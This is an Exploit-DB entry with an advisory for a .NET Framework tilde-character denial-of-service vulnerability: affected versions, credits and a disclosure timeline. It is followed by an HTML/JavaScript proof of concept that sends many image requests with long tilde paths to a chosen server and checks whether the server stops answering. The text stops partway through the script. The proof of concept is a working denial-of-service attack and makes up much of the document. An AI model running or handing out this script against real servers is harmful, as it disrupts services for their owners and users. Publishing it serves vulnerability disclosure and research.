Exploit-DB #19575
Description: .NET Framework - Tilde Character Denial of Service
Type: dos
Platform: windows
Date: 2012-07-04
Author: Soroush Dalili

Exploit:
Paper: http://www.exploit-db.com/docs/19527.pdf

Security Research - .Net Framework Tilde Character DoS


Website : http://soroush.secproject.com/blog/



I. BACKGROUND
---------------------

"The .NET Framework is a software framework developed by Microsoft that runs primarily on Microsoft Windows.
It includes a large library and provides language interoperability
across several programming languages." (Wikipedia)

II. DESCRIPTION
---------------------

Vulnerability Research Team discovered a  vulnerability
in Microsoft .NET Framework.

The vulnerability is caused by a tilde character "~" in a Get request, which could allow remote attackers
to Deny the functionality of the server.


III. AFFECTED PRODUCTS
---------------------------

.Net Framework 1.0 Windows XP
.Net Framework 1.1 Windows 2003
.Net Framework 2.0 Windows 2003 R2
.Net Framework 3.0 Windows 2008
.Net Framework 3.5 Windows 2008 R2
.Net Framework 4.0 Windows 2008 R2,Windows 7


IV. Binary Analysis & Exploits/PoCs
---------------------------------------

In-depth technical analysis of the vulnerability and a functional exploit
are available through:

http://soroush.secproject.com/blog/2012/06/microsoft-iis-tilde-character-vulnerabilityfeature-short-filefolder-name-disclosure/


V. SOLUTION
----------------

There are still workarounds through Vendor and security vendors.

VI. CREDIT
--------------

This vulnerability was discovered by:

Soroush Dalili (@irsdl)
Ali Abbasnejad


VII. REFERENCES
----------------------

http://support.microsoft.com/kb/142982/en-us
http://soroush.secproject.com/blog/2010/07/iis5-1-directory-authentication-bypass-by-using-i30index_allocation/

VIII. DISCLOSURE TIMELINE
-----------------------------

2010-08-01 - Vulnerability Discovered
2010-08-03 - Vendor Informed
2010-12-01 - Vendor 1st Response
2011-01-04 - Vendor 2nd Response (next version fix)
2012-06-29 - Public Disclosure


Proof of Concept:

<html>
<head>
<script>
var requestNumber = 10; // enough for the test - otherwise it may stop your .Net framework completely

var tempValue = "A";
while(tempValue.length<4000){ // 4096 then!
    tempValue+=tempValue;
}

var errorFlag;
var from_time;
var to_time;

function testTheTarget(strTarget,intValidFolderCount,intLoopNumber,HTMLElementDest){
    HTMLElementDest.innerHTML = '';
    errorFlag = 0;
    from_time = new Date();  
    from_time = from_time.getTime();  
    if (isTargetValid(strTarget)){
        if (isNaN(intValidFolderCount)) intValidFolderCount = 100;
        if (isNaN(intLoopNumber)) intLoopNumber = 100;
        requestNumber = intLoopNumber;
        
		var div = document.createElement("div");
		
        for(var i=0; i<requestNumber;i++){
            var testTempValue = tempValue.substring(0,intValidFolderCount-1);
            testTempValue = testTempValue.replace(/A/gi,"/~"+Math.floor(Math.random()*10)+"");
            testTempValue+=".AsPx?aspxerrorpath=/";
            testTempValue="/"+(new Date()).getMilliseconds()+"~"+Math.floor(Math.random()*10) + testTempValue
            var img = createElement("img","img_"+i);
            if(i==requestNumber-1)
            {
                img.onerror = function(){
                                            to_time = new Date();  
                                            to_time = to_time.getTime();  
                                            var msecs = (to_time - from_time);                                      
                                            if(!errorFlag && msecs < 100*requestNumber+5000){
                                                errorFlag = 1;
                                                if(intValidFolderCount>=150)
                                                    alert('As you can see this message, you probably need to decrease the Maximum Valid Folder number.');
                                                else if(intValidFolderCount>=50){
                                                    alert('First increase the Maximum Valid Folder number to see the behaviour, then decrease it to lower than '+intValidFolderCount+' and then see the behaviour.');
                                                }else
                                                    alert('The response was too quick. This server probably is not vulnerable.');
                            }}
            }
            img.src = strTarget + testTempValue;
            div.appendChild(img);
        }
        HTMLElementDest.appendChild(div);        
    }else{
        alert('Your target URL is not valid. Examples: \nhttp://www.aspnet-example.com/ \nor \nhttps://www.aspnet-example.com/');
    }
};

var myTargetWindow;
var objSetTimeout;
function openInNewWin(strTarget){
    clearTimeout(objSetTimeout);
    if(isTargetValid(strTarget)){
        myTargetWindow = window.open(strTarget,'_blank');
        objSetTimeout = setTimeout('isServerAlive()',10000);
    }
}

function isServerAlive(){
    try{
        var dummy = myTargetWindow.location;
        if(myTargetWindow.location.toString().indexOf('//localhost') < 0)
            alert('No response from the server! Seems dead to me!');
    }catch(e){
        // Nothing ... it is alive and safe... 
    }
}
function isTargetValid(strTarget){
    var result = false;
    try{
        if(strTarget.substring(0,7).toLowerCase() == "http://" || strTarget.substring(0,8).toLowerCase() == "https://"){
            result = true;
        }
    }catch(e){}
    return result;
};

function createElement(elmType,elmName){
    var element;
    if(elmName=='')
    {
        element = document.createElement(elmType);
    } else
    {
        try
        {
            element = document.createElement('<'+elmType+' name="'+elmName+' id="'+elmName+'">');
        } catch (ex)
        {
            element = document.createElement(elmType);